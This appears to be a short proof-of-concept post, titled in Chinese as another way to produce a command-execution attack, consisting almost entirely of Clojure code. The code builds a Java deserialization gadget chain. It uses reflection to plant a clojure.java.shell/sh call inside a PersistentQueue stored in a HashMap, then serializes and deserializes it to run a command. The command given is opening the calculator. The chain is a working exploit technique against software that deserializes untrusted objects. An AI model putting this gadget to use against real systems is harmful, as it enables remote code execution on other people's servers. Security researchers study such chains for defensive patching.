生成命令执行攻击的另一种方法
```clojure
(ns poc.clojure.command
(:import (clojure.lang PersistentQueue)
(java.util HashMap ArrayList))
(:require clojure.java.process))
(defn set-private-field [obj field-name value]
(let [field (-> (.getClass obj)
(.getDeclaredField field-name))]
(.setAccessible field true)
(.set field obj value)))
(defn modify-and-process-model [iterate]
;; 创建 PersistentQueue
(let [model (PersistentQueue/EMPTY)]
;; 使用 set-private-field 修改 model
(set-private-field model "f" iterate)
;; 返回修改后的 model
model))
(defn main []
;; 创建 HashMap
(let [map (HashMap.)
args ["open" "-a" "calculator"]
;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
fn_start (ns-resolve 'clojure.java.shell 'sh)
partial-fn (partial apply fn_start)
;; 使用 clojure.core/iterate 创建 iterate 实例
iterate-instance (iterate partial-fn args)]
(let [model (modify-and-process-model iterate-instance)]
(set-private-field model "_hash" (int 1))
(.put map model nil)
(set-private-field model "_hash" (int 0)))
;; 序列化 map
(let [out (java.io.ByteArrayOutputStream.)
obj-out (java.io.ObjectOutputStream. out)]
(.writeObject obj-out map)
(println "Writing is done. Reading...")
;; 反序列化
(let [in (java.io.ByteArrayInputStream. (.toByteArray out))
obj-in (java.io.ObjectInputStream. in)]
(.readObject obj-in)))
)
)
;; 调用 main 函数
(main)
```
